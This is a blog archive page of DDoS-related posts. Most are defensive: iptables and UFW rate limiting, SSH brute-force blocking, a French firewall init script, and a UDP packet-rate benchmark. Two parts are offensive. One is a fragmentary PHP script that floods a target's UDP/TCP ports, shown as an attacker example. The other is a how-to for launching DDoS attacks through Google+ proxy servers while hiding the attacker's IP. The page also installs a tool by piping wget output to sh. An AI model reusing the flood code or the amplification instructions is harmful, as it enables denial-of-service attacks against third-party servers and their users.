Articles taggués ‘DDoS’

How to receive a million packets per second

19/04/2016 Comments off

receive million packetsLast week during a casual conversation I overheard a colleague saying: « The Linux network stack is slow! You can’t expect it to do more than 50 thousand packets per second per core! »

That got me thinking. While I agree that 50kpps per core is probably the limit for any practical application, what is the Linux networking stack capable of? Let’s rephrase that to make it more fun:

On Linux, how hard is it to write a program that receives 1 million UDP packets per second?

Hopefully, answering this question will be a good lesson about the design of a modern networking stack.

First, let us assume:

  • Measuring packets per second (pps) is much more interesting than measuring bytes per second (Bps). You can achieve high Bps by better pipelining and sending longer packets. Improving pps is much harder.
  • Since we’re interested in pps, our experiments will use short UDP messages. To be precise: 32 bytes of UDP payload. That means 74 bytes on the Ethernet layer.
  • For the experiments we will use two physical servers: « receiver » and « sender ».
  • They both have two six core 2GHz Xeon processors. With hyperthreading (HT) enabled that counts to 24 processors on each box. The boxes have a multi-queue 10G network card by Solarflare, with 11 receive queues configured. More on that later.
  • The source code of the test programs is available here: udpsender, udpreceiver.


Let’s use port 4321 for our UDP packets. Before we start we must ensure the traffic won’t be interfered with by the iptables:

receiver$ iptables -I INPUT 1 -p udp --dport 4321 -j ACCEPT  
receiver$ iptables -t raw -I PREROUTING 1 -p udp --dport 4321 -j NOTRACK  

A couple of explicitly defined IP addresses will later become handy:

receiver$ for i in `seq 1 20`; do   
              ip addr add 192.168.254.$i/24 dev eth2; 
sender$ ip addr add dev eth3  

1. The naive approach

To start let’s do the simplest experiment. How many packets will be delivered for a naive send and receive?

The sender pseudo code:

fd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
fd.bind(("", 65400)) # select source port to reduce nondeterminism  
fd.connect(("", 4321))  
while True:  
    fd.sendmmsg(["x00" * 32] * 1024)

While we could have used the usual send syscall, it wouldn’t be efficient. Context switches to the kernel have a cost and it is be better to avoid it. Fortunately a handy syscall was recently added to Linux: sendmmsg. It allows us to send many packets in one go. Let’s do 1,024 packets at once.

The receiver pseudo code:

fd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
fd.bind(("", 4321))  
while True:  
    packets = [None] * 1024
    fd.recvmmsg(packets, MSG_WAITFORONE)

Similarly, recvmmsg is a more efficient version of the common recv syscall.

Let’s try it out:

sender$ ./udpsender  
receiver$ ./udpreceiver1  
  0.352M pps  10.730MiB /  90.010Mb
  0.284M pps   8.655MiB /  72.603Mb
  0.262M pps   7.991MiB /  67.033Mb
  0.199M pps   6.081MiB /  51.013Mb
  0.195M pps   5.956MiB /  49.966Mb
  0.199M pps   6.060MiB /  50.836Mb
  0.200M pps   6.097MiB /  51.147Mb
  0.197M pps   6.021MiB /  50.509Mb

With the naive approach we can do between 197k and 350k pps. Not too bad. Unfortunately there is quite a bit of variability. It is caused by the kernel shuffling our programs between cores. Pinning the processes to CPUs will help:

sender$ taskset -c 1 ./udpsender  
receiver$ taskset -c 1 ./udpreceiver1  
  0.362M pps  11.058MiB /  92.760Mb
  0.374M pps  11.411MiB /  95.723Mb
  0.369M pps  11.252MiB /  94.389Mb
  0.370M pps  11.289MiB /  94.696Mb
  0.365M pps  11.152MiB /  93.552Mb
  0.360M pps  10.971MiB /  92.033Mb

Now, the kernel scheduler keeps the processes on the defined CPUs. This improves processor cache locality and makes the numbers more consistent, just what we wanted.

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Code Snippet: iptables settings to prevent UDP abuse (flood protection)

04/03/2016 Comments off

Prevent UDP flood

Some basic iptables settings can prevent UDP flood from happening.

The Attacker

Here’s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

        exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
        $dt = (int)$_GET['t'];
  if($_GET['type'] == 'tcp')
    $posttype = 'tcp://';
    $posttype = 'udp://';
  $posttype = 'udp://';
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
      $port = $_GET['p'];
    else $port = rand(1,65000);
        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
                $fwriteFile = fwrite($sock, $out);
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there’s no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

# allow dns requests to google nameservers
 iptables -A OUTPUT -p udp --dport 53 -d -j ACCEPT
 iptables -A OUTPUT -p udp --dport 53 -d -j ACCEPT
# block all other udp
 iptables -A OUTPUT -p udp -j DROP
 ip6tables -A OUTPUT -p udp -j DROP


Alternatively, rate limiting can be employed as a more tolerant measure:

# Outbound UDP Flood protection in a user defined chain.
 iptables -N udp-flood
 iptables -A OUTPUT -p udp -j udp-flood
 iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
 iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
 iptables -A udp-flood -j DROP


Note: You’ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!

Source: Troy Howard

Using Iptables to Block Brute Force Attacks

29/02/2016 Comments off

Source: MDLog:/sysadmin

We can use the iptables recent module to write some iptables rules that can block brute force attacks. In order to use this method you need a kernel and iptables installation that includesipt_recent. If your linux distribution doesn’t include the ipt_recent module or you are using a custom compiled kernel you might need to first include the iptables recent patch that can be found on the author’s website or in the iptables patch-o-matic area. If you are using Debian/Ubuntu you don’t need to do anything special as this is already included in your system.

Let’s see how we can use the iptables recent module to block brute force attacks agains ssh. Let’s see a simple example:

iptables -N SSHSCAN
iptables -A INPUT -p tcp --dport 22 -m state **--state NEW** -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update **--seconds 300** **--hitcount 3** --name SSH -j DROP

This will basically allow only 3 NEW connections (as matched by the state NEW) in the timeframe of 300sec (5min). Any new connection will be automatically dropped.

The main disadvantage of using this method is that it will not make any distinction betweensuccessful and failed logins. If you are not careful and open too many connections yourself you might found yourself locked out. One walk-around for this issue is to whitelist our own administrative ips (still if we can do this for all the locations that need to connect to the system, then we can protect ourselves with simple firewall rules and we don’t need this added complexity). So at least for the hosts that we can (static ips) we should do this (replace with as many lines needed containing $WHITE_LIST_IP):

iptables -N SSHSCAN
** iptables -A INPUT -p tcp --dport 22 -s $WHITE_LIST_IP -j ACCEPT**
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH -j DROP

Even if we lock ourselves out, our existing connections will remain up since we are matching only on NEW connections. If needed we can take appropriate actions.

In case we want to have the blocked hosts logged, then we will have to add another iptables rule:

iptables -N SSHSCAN
iptables -A INPUT -p tcp --dport 22 -s $WHITE_LIST_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH -j LOG --log-level info --log-prefix "SSH SCAN blocked: "
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH -j DROP

You can peek at the internal database kept by the module, by looking inside:/proc/net/ipt_recent/* (DEFAULT will contain default matches; in our example the name of the file is SSHSCAN):

cat /proc/net/ipt_recent/SSHSCAN

This solution is very effective and easy to implement. You just add the needed iptables rules to your existing firewall setup and you are set. Still, it has many limitations when compared with the other methods shown: like limited time frames, it will not differentiate against failed/successful logins, etc.


Debian / Ubuntu / CentOs – Block DDOS attacks with No More DDOS (formerly : DDoS Deflate)

22/01/2016 Comments off

If you arrive on this page, is that you have already received a DDoS attack on your server or you want to protect it before this attack happens on your server.
In this tutorial, we will install « No More DDoS » (replacing DDoS Deflate that is no longer maintained by its author) that lets you easily protect you against small DDoS attacks.

This script is available in 2 versions :

  1. the Debian version, compatible with : Debian 6/7/8, Ubuntu Server 13.10, Ubuntu Server 14.04, Linux Mint 17 and distributions based on Debian.
  2. the CentOs version, compatible with : CentOs 6/7, RHEL 6/7 (à venir dans la version 2.0), Fedora 20 (coming in version 2.0), and distributions based on CentOs.
  1. Install No More DDoS
  2. Configure No More DDoS
  3. No More DDoS GUI
  4. Update No More DDoS
  5. Uninstall No More DDoS

1. Install No More DDoS

To install « No More DDoS for Debian« , use the following command :

wget -O- | sh

To install »No More DDoS for CentOS 7 » use the following command :

wget -O- | sh

2. Configurer No More DDoS

To configure No More DDoS, edit the « /usr/local/nmd/conf.d/agent.conf » file :

vim  /usr/local/nmd/conf.d/agent.conf

In this file, you can edit the following information :

  • FREQ : Interval time between 2 launches of the script. By default, this script is run once per minute.
  • NO_OF_CONNECTIONS : Corresponds to the maximum number of established connections to an IP address. If an IP address has more than 500 connections established on your server, this IP will be banned.
  • APF_BAN : By default, the script blocks IP addresses in the firewall with iptables (APF_BAN=0). To use « APF », specify 1 (APF_BAN=1).
  • EMAIL_TO : If you wish to be notified when blocking a DDoS attack, enter your email address at this line. If you leave this empty, then, no e-mail will be sent.
  • BAN_PERIOD : Period during an IP address is blocked. Default : 3600 seconds = 1 hour.

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Protect DDOS attacks

22/01/2016 Comments off

Protect DDOS attacks

Using ModEvasive agains DDoS attacksprotect ddos attacks

The first think to do is to install ModEvasive. All details are provided in

Configuring UFW

The following instructions can be added to the UFW rules. Edit the /etc/ufw/before.rules:

sudo vi /etc/ufw/before.rules

Add those lines after *filter near the beginning of the file:

:ufw-http - [0:0]
:ufw-http-logdrop - [0:0]

Add those lines near the end of the file, before the COMMIT:

### Start HTTP ###

# Enter rule
-A ufw-before-input -p tcp --dport 80 -j ufw-http
-A ufw-before-input -p tcp --dport 443 -j ufw-http

# Limit connections per Class C
-A ufw-http -p tcp --syn -m connlimit --connlimit-above 50 --connlimit-mask 24 -j ufw-http-logdrop

# Limit connections per IP
-A ufw-http -m state --state NEW -m recent --name conn_per_ip --set
-A ufw-http -m state --state NEW -m recent --name conn_per_ip --update --seconds 10 --hitcount 20 -j ufw-http-logdrop

# Limit packets per IP
-A ufw-http -m recent --name pack_per_ip --set
-A ufw-http -m recent --name pack_per_ip --update --seconds 1 --hitcount 20 -j ufw-http-logdrop

# Finally accept
-A ufw-http -j ACCEPT

# Log
-A ufw-http-logdrop -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW HTTP DROP] "
-A ufw-http-logdrop -j DROP

### End HTTP ###

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IPTables, la suite: script d’initialisation

07/12/2015 Comments off


On a vu dans l’article précédent comment fonctionnait IPTables et comment pouvait se construire ses commandes. Dans la suite je vais vous proposer un script qui permet d’initialiser IPTables avec ses propres règles au démarrage de la machine.

Ce n’est pas la meilleure façon de faire c’est juste celle que j’utilise. On pourrait rendre ce script plus court, plus interactif j’en suis parfaitement conscient.
D’abord je commence a choisir mes règles par défaut: logiquement je bloque tout le trafic entrant mais est ce que je bloque aussi par défaut tout le trafic sortant ? C’est mon cas mais à vous de voir ce qui est le mieux pour votre situation. Par exemple, et c’est rare, lorsque qu’un attaquant réussit via je ne sais quel moyen a coller un rootkit sur votre serveur cela peut être intéressant de l’empêcher de dialoguer avec l’extérieur.
Ensuite comme vous êtes sûrement connectés en SSH sur votre serveur on va éviter de couper la connexion à l’initialisation du pare feu par exemple donc il va falloir autoriser toutes les connexions déjà établies en considérant qu’elles soient sûres. Puis on enchaîne nos règles en gardant bien à l’esprit l’article précédent pour les agencer dans l’ordre. Donc ça donne quelque chose comme ça:


#On rappelle le chemin ou se trouve l'exécutable dont on va se servir

#On vide complètement les règles
iptables -t filter -F
iptables -t filter -X

#Tout le trafic est bloqué...
iptables -t filter -P INPUT DROP
iptables -t filter -P FORWARD DROP
iptables -t filter -P OUTPUT DROP

#...sauf les connexions déjà établies
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

#On autorise le serveur a pouvoir communiquer avec lui même (la boucle locale)
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A OUTPUT -o lo -j ACCEPT

#Si on veut bloquer des adresses en particulier c'est ici qu'il faut les ajouter car en dessous on commence à ouvrir les ports et on risque que ces règles prennent le pas sur un blocage spécifique

iptables -A INPUT -s A.B.C.D -j DROP
iptables -A INPUT -s X.X.Y.Y -j DROP

#Autoriser le ping dans les deux sens
iptables -t filter -A INPUT -p icmp -j ACCEPT
iptables -t filter -A OUTPUT -p icmp -j ACCEPT

#Autorisation du traffic Web en entrant
iptables -t filter -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -t filter -A INPUT -p tcp --dport 443 -j ACCEPT

#Autorisation du traffic SSH en entrant pour le management du serveur
iptables -t filter -A INPUT -p tcp --dport 22 -j ACCEPT

#Autorisation du web en sortant (utile pour récupérer des sources)
iptables -t filter -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -t filter -A OUTPUT -p tcp --dport 443 -j ACCEPT

#Autorisation SSH, FTP en sortant
iptables -t filter -A OUTPUT -p tcp --dport 21 -j ACCEPT
iptables -t filter -A OUTPUT -p tcp --dport 22 -j ACCEPT

#Autorisation NTP, RTM(OVH), DNS,
iptables -t filter -A OUTPUT -p tcp --dport 123 -j ACCEPT
iptables -t filter -A OUTPUT -p udp --dport 6100:6200 -j ACCEPT
iptables -t filter -A OUTPUT -p tcp --dport 53 -j ACCEPT

#Protection DDOS
iptables -A FORWARD -p tcp --syn -m limit --limit 1/second -j ACCEPT
iptables -A FORWARD -p udp -m limit --limit 1/second -j ACCEPT
iptables -A FORWARD -p icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT

#Anti Scan de port
iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s -j ACCEPT

Voilà donc comme je l’ai dit ce n’est pas un script parfait mais il permet au moins de voir que fait chaque ligne et reste clair malgrès tout. Il est évident qu’il faudrait réfléchir a une autre méthode si les règles viennent à se multiplier parce que cela peut vite devenir ingérable. Ceci dit vous allez pouvoir avoir une base compréhensible pour sécuriser votre serveur de manière fiable. En tout cas au niveau des connexions réseau !

Launch DDoS Attack Using Google Servers with +DDoS Bash Script

07/12/2015 Comments off

DDoS-Using-Google+-Servers-HackersGarageRecently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy.

How DDoS Attack Using Google+ Servers works?

When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.

Advisory report says;  vulnerable pages are “/_/sharebox/linkpreview/“  and “gadgets/proxy?

So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.

How to use DDoS script to launch a DDoS attack Using Google+ Servers?

Download :

Make it shorter :

Make it executable :
chmod u+x

Example of Usage :
./ 1000

Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.


NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation ?

e.g 1000 is very big number.

You will see anonymous source instead of Real Source IP:
See sample apache webserver log below - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:18 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:21 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+" - - [31/Aug/2011:15:34:33 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+"

You can also access it in browser to remain anonymous using below example URL (replace URL with your own choice) :


Emergency DOS or DDOS stopping script

07/12/2015 Comments off

If you are under a DOS or DDOS attack and running out of your mind or don’t know what to do, use this script to get ride of this panic situation.

DoS or DDoS is an attempt to make a victim website unavailable by creating hundreds to hundreds thousands of established connections that overflow victim resources and makes a website unavailable to the genuine users/visitors.

Short and useful slide that definite this script can be view on slideshare

You can run script to mitigate a low level ddos attack some how while and can stop DOS attack completely. This script is available under GPL license from the author.

How to mitigate DoS or DDoS attack?

Stop or flush other rules for now :

service apf stop
iptables -F
mv antiDDoS.txt
chmod u+x

Some other useful commands to analyze the type of attacks :

netstat -antp | grep ESTABLISHED
netstat -antp | grep -i sync
netstat --help


Defend Your Web Server Against Distributed Denial of Services (DDos) Attacks

01/12/2015 Comments off

Source: Tech Recipes – Quinn McHenry

In computer security, it quickly becomes apparent that preventing computer attacks is much more challenging than attacking computers. A good example of an easy technique to prevent a website from functioning is a distributed denial of service, or DDoS, attack in which a number of compromised computers around the internet make web (or other protocol) requests on some poor server. If the web page requested is one that requires lots of server-side processing, the resulting load from the combined requests prevents the web server from responding to legitimate requests, thus denying the service. As was subjected to such an attack recently, we felt it might be beneficial to others if we described the steps we took in our response.

Note: The following information is relevant to UNIX-based servers running Apache (although other platforms and software may be applicable). A prerequisite for this approach requires the use of iptables which likely means you need root access to the server, so this will probably not help you if you are using shared hosting. Sorry! Your best bet in this case is to contact your ISP for their help (good luck) as it is in their best interest to prevent high loads on their shared servers, although it is likely that they will temporarily disable your domain services, which is definitely not the best solution from your perspective.

To minimize the impact of a denial of service attack, you should make yourself aware of problems with your web server in near real-time. Several server monitoring services are available. We use both Pingdom and SiteUptime. Using these services, we have redundant notifications of any service disruption sent to our cell phones via SMS and to several email addresses (none of which are handled by our monitored servers, of course). Using these services, we are notified within a minute of a failed request to our production servers.

Before you implement specific anti-DDoS techniques, it is wise to make sure that the problem is actually a DDoS attack. Services may fail to answer a request for a number of reasons among them the executable running the service dying unexpectedly, the ISP hosting the server experiencing a network or server outage, or some other self-correcting glitch in the matrix. To determine if the service failure is due to a DDoS and to collect information necessary to take actions against the attack, you need to dig around first.

You need access to your access_log, the log file which contains a text entry for every request made to your web server. There are many places that this file can hide and it is dependent on your server setup. When in doubt, you can check the ISP’s documentation (search for access log) — the log data may be accessible through a web console, but it is optimal if you have shell access to your server. If your ISP’s online help is not so helpful in finding the access log, you can use the UNIX find command.

Once you have found your access log, cd into the directory containing the log and run the tail command on it with the -f option:

tail -f access_log

The tail command on its own will display the last 10 lines of the specified file and then quit. The -f option will tell tail to keep running after the last 10 lines are displayed and keep displaying subsequent lines that are added to the file. You’re likely to see a flurry of entries. If you don’t see any log messages after the default 10, you’re either looking at the wrong file or the web server is dead or otherwise not seeing any traffic. It is possible that one server can host many websites and each can have a separate access_log file, so be certain that you’re tailing the right one. If the service is dead, resuscitate it through whatever mechanism is appropriate. We’re going to assume from here on out that you’re seeing a ton of access log messages that look very similar (probably hitting the same URL) that don’t have a valid or any referrer (if the referrer is or, well, then you can be both happy and sad that the traffic, though server crippling, is legitimate) and have a bunch of different IP addresses. During our recent siege, there were so many bogus requests that very few legitimate requests made it to the access_log file. Here are a few lines from our access_log during the attack: - - [07/Jul/2008:19:28:18 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" - - [07/Jul/2008:19:28:18 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" - - [07/Jul/2008:19:28:18 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" - - [07/Jul/2008:19:28:19 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 14313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"

If you aren’t familiar with the default structure of Apache’s access_log, the first value is the source IP address of the request, then the date and time of the request is in square brackets, and the first string in double quotes is the HTTP request made. In our example, the request was always the same: “GET /modules.php?name=Forums&file=index HTTP/1.1” — a GET request of the URL (/modules.php?….) and the HTTP protocol used (1.1). The portion of the URL used is important since it is the one thing we can use to identify the offending IP addresses. The second string in quotes is the referring URL, in our case there isn’t one so it shows up as “-” which lends credence to the suspicion that it is a DDoS attack. The remaining string describes the platform and software that has made the request and isn’t very meaningful or helpful to us as it can easily be forged.

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How to protect server from simple DoS attack

01/12/2015 2 commentaires

You can use a firewall to limit the number of concurrent connections and the rate of new connections coming from a network (e.g. a /32 for IPv4 and a /64 for IPv6). Example of what it may look like using iptables:

# Limit number of concurrent connections
-A INPUT -i eth0 -p tcp --syn -m connlimit --connlimit-above 50 -j DROP
# Limit rate of new connections
-A INPUT -i eth0 -p tcp --syn -m hashlimit --hashlimit-name tcp --hashlimit-mode srcip --hashlimit-above 3/sec --hashlimit-burst 7 --hashlimit-srcmask 32 -j DROP

(Same thing for ip6tables except adding --connlimit-mask 64 to the first and changing --hashlimit-srcmask to 64 in the second.)

You can also limit the rate of HTTP requests, for example with the limit_req module of nginx.


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